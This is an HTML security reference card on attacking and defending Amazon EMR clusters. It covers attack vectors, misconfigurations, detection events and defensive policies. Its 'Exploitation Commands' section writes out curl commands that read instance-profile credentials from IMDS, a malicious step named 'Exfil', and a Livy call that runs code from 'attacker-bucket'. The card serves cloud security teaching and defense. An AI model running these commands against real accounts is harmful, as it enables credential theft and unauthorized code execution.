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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Amazon EMR Security | AWS Security Cards</title>
<meta name="description" content="Amazon EMR runs Apache Spark, Hadoop, Hive, Presto on EC2 clusters. IMDS credential theft, exposed web interfaces, and over-privileged instance profiles are the primary attack surface.">
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</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/emr-card.webp" alt="Amazon EMR Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/emr.svg" alt="Amazon EMR Security" /></div>
<div>
<div>
<span class="header-title">Amazon EMR Security</span>
<span class="header-badge">ANALYTICS</span>
</div>
<p class="header-desc">Amazon EMR runs Apache Spark, Hadoop, Hive, Presto, and other big data frameworks on EC2 clusters. Cluster nodes expose numerous web UIs, run with EC2 instance profiles granting S3 access via EMRFS, and execute arbitrary code. IMDS credential theft, exposed web interfaces, and over-privileged instance profiles are the primary attack surface.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Regional</div>
<div class="stat-label">Scope</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">Off</div>
<div class="stat-label">Default Encryption</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">SGs + BPA</div>
<div class="stat-label">Network</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#f97316;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #f97316;">Cluster Nodes and IMDS</h4>
<p>EMR cluster nodes are EC2 instances with an instance profile (default: EMR_EC2_DefaultRole) granting S3 access. Each node exposes IMDS at 169.254.169.254. IMDSv1 is vulnerable to SSRF-based credential theft.</p>
<div class="attack-note"><span style="color:#f97316;">Attack note:</span> Any code running on an EMR cluster node can query IMDS to obtain the EC2 instance profile credentials, which typically include broad S3 access.</div>
</div>
<div>
<h4 style="color: #f97316;">Web Interfaces and Exposed Ports</h4>
<p>EMR clusters host over a dozen web interfaces: YARN ResourceManager (8088), Spark History Server (18080), Livy REST API (8998), Hue (8888), JupyterHub (9443), Zeppelin (8890), and more.</p>
<div class="attack-note"><span style="color:#f97316;">Attack note:</span> Livy (port 8998) accepts unauthenticated REST API calls to execute arbitrary code on the cluster if exposed to the network.</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 80%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">8.0</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">EMR clusters run arbitrary code by design, combine multiple EC2 instances with shared credentials, expose numerous unauthenticated web interfaces, and often have instance profiles with broad S3 access. Without encryption, data at rest and in transit is unprotected.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Credential Theft and SSRF</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> SSRF to IMDS (169.254.169.254) for instance profile creds</li><li><span class="bullet" style="color: #f87171;">•</span> Livy REST API (8998) unauthenticated remote code execution</li><li><span class="bullet" style="color: #f87171;">•</span> Jupyter/Zeppelin notebooks exfiltrating IMDS credentials</li><li><span class="bullet" style="color: #f87171;">•</span> YARN ResourceManager (8088) application submission for RCE</li><li><span class="bullet" style="color: #f87171;">•</span> EMRFS credentials provide access to S3 data lakes</li></ul><h4 style="color: #f87171;">Step and Bootstrap Injection</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> AddJobFlowSteps to inject arbitrary code execution</li><li><span class="bullet" style="color: #f87171;">•</span> Bootstrap actions execute as root on every node</li><li><span class="bullet" style="color: #f87171;">•</span> Over-privileged EMR service role abuse</li><li><span class="bullet" style="color: #f87171;">•</span> Malicious S3 objects replacing bootstrap scripts</li><li><span class="bullet" style="color: #f87171;">•</span> Custom JAR steps run with full instance profile permissions</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Network and Access</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Security groups open to 0.0.0.0/0 on UI ports (8088, 8998)</li><li><span class="bullet" style="color: #fb923c;">•</span> EMR block public access disabled</li><li><span class="bullet" style="color: #fb923c;">•</span> Primary node with public IP in public subnet</li><li><span class="bullet" style="color: #fb923c;">•</span> No SSH tunnel or Knox gateway for web interfaces</li><li><span class="bullet" style="color: #fb923c;">•</span> Kerberos authentication not configured</li></ul><h4 style="color: #fb923c;">Data Protection</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> No security configuration attached (no encryption)</li><li><span class="bullet" style="color: #fb923c;">•</span> EBS volumes and local storage not encrypted</li><li><span class="bullet" style="color: #fb923c;">•</span> EMRFS data in S3 not encrypted</li><li><span class="bullet" style="color: #fb923c;">•</span> In-transit encryption (TLS) not enabled</li><li><span class="bullet" style="color: #fb923c;">•</span> Instance profile with s3:* on * (overly broad)</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3><div class="cmd-block">
<div class="cmd-title">List All Clusters</div>
<pre><code>aws emr list-clusters --active</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Describe a Cluster</div>
<pre><code>aws emr describe-cluster --cluster-id j-XXXXXXXXXXXXX</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">List Security Configurations</div>
<pre><code>aws emr list-security-configurations</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">List Steps on a Cluster</div>
<pre><code>aws emr list-steps --cluster-id j-XXXXXXXXXXXXX</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Get Block Public Access Config</div>
<pre><code>aws emr get-block-public-access-configuration</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">From Cluster to AWS Account</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Instance profile credentials accessible via IMDS</li><li><span class="bullet" style="color: #c084fc;">•</span> EMR_EC2_DefaultRole has broad S3 access</li><li><span class="bullet" style="color: #c084fc;">•</span> AddJobFlowSteps injects arbitrary commands on nodes</li><li><span class="bullet" style="color: #c084fc;">•</span> RunJobFlow + iam:PassRole launches cluster with any role</li><li><span class="bullet" style="color: #c084fc;">•</span> Livy REST API provides unauthenticated code execution</li></ul><div class="note"><strong>Key insight:</strong> EMR clusters execute arbitrary code by design. The real privilege escalation risk is the gap between "can submit code to cluster" and "the permissions the instance profile grants in AWS."</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Cluster-Level</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Submit persistent steps that run on cluster lifecycle events</li><li><span class="bullet" style="color: #facc15;">•</span> Modify bootstrap actions for future cluster launches</li><li><span class="bullet" style="color: #facc15;">•</span> Replace S3-stored bootstrap scripts or JAR files</li><li><span class="bullet" style="color: #facc15;">•</span> Add cron jobs on cluster nodes for persistent access</li><li><span class="bullet" style="color: #facc15;">•</span> Create additional clusters with escalated roles</li></ul><h4 style="color: #facc15;">Data-Level</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Exfiltrate IMDS credentials for out-of-band access</li><li><span class="bullet" style="color: #facc15;">•</span> Establish reverse shells from cluster nodes</li><li><span class="bullet" style="color: #facc15;">•</span> Maintain access to S3 data lake via stolen credentials</li><li><span class="bullet" style="color: #facc15;">•</span> Create new EMR notebooks for ongoing code execution</li><li><span class="bullet" style="color: #facc15;">•</span> Modify security groups to maintain network access</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> RunJobFlow - new cluster launched</li><li><span class="bullet" style="color: #4ade80;">•</span> AddJobFlowSteps - steps added to cluster</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateSecurityConfiguration - security config created</li><li><span class="bullet" style="color: #4ade80;">•</span> PutBlockPublicAccessConfiguration - BPA changed</li><li><span class="bullet" style="color: #4ade80;">•</span> GetClusterSessionCredentials - session creds requested</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Steps submitted from unusual principals</li><li><span class="bullet" style="color: #4ade80;">•</span> Clusters launched without security configurations</li><li><span class="bullet" style="color: #4ade80;">•</span> IMDS credential usage from unexpected IPs</li><li><span class="bullet" style="color: #4ade80;">•</span> Livy API calls from non-cluster sources</li><li><span class="bullet" style="color: #4ade80;">•</span> Security group modifications on EMR clusters</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid"><div class="cmd-block">
<div class="cmd-title">Steal IMDS Credentials from Cluster Node</div>
<pre><code>curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name></code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Submit Malicious Step to Running Cluster</div>
<pre><code>aws emr add-steps --cluster-id j-XXXXXXXXXXXXX \
--steps Type=CUSTOM_JAR,Name=Exfil,Jar=command-runner.jar,Args=[bash,-c,"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/creds"]</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Execute Code via Livy REST API</div>
<pre><code>curl -X POST -H "Content-Type: application/json" \
http://<emr-primary-node>:8998/batches \
-d '{"file": "s3://attacker-bucket/malicious.py"}'</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Launch Cluster with Escalated Role</div>
<pre><code>aws emr create-cluster --name "escalation" \
--release-label emr-6.15.0 \
--instance-type m5.xlarge --instance-count 1 \
--ec2-attributes InstanceProfile=HighPrivilegeRole</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid"><div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Overly Broad Step Submission</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"elasticmapreduce:AddJobFlowSteps",
"elasticmapreduce:RunJobFlow"
],
"Resource": "*"
}</code></pre>
<p class="policy-desc">Allows injecting arbitrary code steps into any EMR cluster or launching new clusters</p>
</div><div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Scoped Read-Only Cluster Access</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"elasticmapreduce:DescribeCluster",
"elasticmapreduce:ListSteps",
"elasticmapreduce:ListInstances"
],
"Resource": "arn:aws:elasticmapreduce:*:*:cluster/*"
}</code></pre>
<p class="policy-desc">Read-only access scoped to cluster monitoring</p>
</div><div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full S3 Access on Instance Profile</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": "s3:*",
"Resource": "*"
}</code></pre>
<p class="policy-desc">Any code on the cluster can read/write/delete any S3 object in the account</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid"><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Enforce IMDSv2 on All Cluster Nodes</h4>
<p>Require IMDSv2 session tokens to block SSRF-based credential theft. Use EC2 launch templates with HttpTokens: required.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Enable Encryption at Rest and in Transit</h4>
<p>Create a security configuration with SSE-KMS for S3, LUKS for local disk, and TLS for in-transit.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🛡️</span>
<div>
<h4>Keep Block Public Access Enabled</h4>
<p>Prevents launching clusters with security groups allowing public inbound traffic except SSH (22).</p>
<pre><code>aws emr get-block-public-access-configuration</code></pre>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🌐</span>
<div>
<h4>Launch Clusters in Private Subnets</h4>
<p>Place EMR clusters in private subnets with no public IPs. Use SSH tunnels or ALB with auth for web UI access.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔑</span>
<div>
<h4>Enable Kerberos Authentication</h4>
<p>Configure Kerberos for user-level authentication before accessing HDFS, Hive, Spark.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📁</span>
<div>
<h4>Scope Instance Profile to Minimum S3 Paths</h4>
<p>Replace EMR_EC2_DefaultRole with a custom role granting only specific S3 buckets and prefixes.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>Amazon EMR Security Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>